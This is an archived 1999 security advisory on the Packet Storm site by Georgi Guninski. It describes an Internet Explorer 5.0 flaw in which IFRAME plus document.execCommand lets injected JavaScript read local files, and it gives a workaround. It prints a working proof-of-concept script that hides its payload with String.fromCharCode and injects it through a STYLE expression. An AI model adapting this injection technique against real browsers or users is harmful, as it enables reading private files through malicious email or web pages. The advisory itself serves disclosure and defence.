what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IE5_IFRAME_vuln.txt

IE5_IFRAME_vuln.txt
Posted Oct 15, 1999
Authored by Georgi Guninski

IE 5.0 vulnerability - reading local (and from any domain, probably window spoofing is possible) files using IFRAME and document.execCommand. Includes exploit. Demonstration code Here.

tags | exploit, local, spoof
SHA-256 | 9675de24df2217c21e2f6231a2c519019a809807235ded9783257956a7c2f796

IE5_IFRAME_vuln.txt

Change Mirror Download
IE 5.0 security vulnerability - reading local (and from any domain,
probably window spoofing is possible) files using IFRAME and
document.execCommand

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is
vulnerable)
allows reading local files, text and HTML files from any domain and
probably window spoofing (have not tested window spoofing but believe it
is possible)
It is also possible in some cases to read files behind fiewall.

Details:

The problem is the combination of IFRAME and document.execCommand.
Normally, you cannot use execCommand on an IFRAME from another domain.
But if you do:
"IFRAME.focus(); document.execCommand" then command will be executed in
the IFRAME
(some commands do not work in this way, but some do and that is enough).
So, we create an IFRAME with SRC="file://c:/test.txt" and inject
JavaScript code in it. When the
JavaScript code is executed, it is executed in the security context of
the IFRAME - the "file:" protocol.
The injection is done using the "InsertParagraph" command (guess other
commands will do) which sets the ID of the paragraph.
But if you place a " in the ID, then a STYLE tag may be inserted also.
The JavaScript code is injected using the STYLE tag:
STYLE="left:expression(eval(JSCode))"
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create text file c:\\test.txt and it will be read");
function f()
{
I1.focus();
document.execCommand("selectAll");
document.execCommand("InsertParagraph",false,">\"STYLE='left:expression(eval(String.fromCharCode(97,61,119,105,110,100,111,119,46,111,112,101,110,40,39,102,105,108,101,58,47,47,99,58,47,116,101,115,116,46,116,120,116,39,41,59,97,108,101,114,116,40,97,46,100,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,84,101,120,116,41)));'");
}
setTimeout('f()',2000);
</SCRIPT>
<IFRAME ID="I1" SRC="file://c:/test.txt"></IFRAME>
----------------------------------------------------------------------------------------


Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/execcommand.html


Regards,
Georgi Guninski
http://www.nat.bg/~joro
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close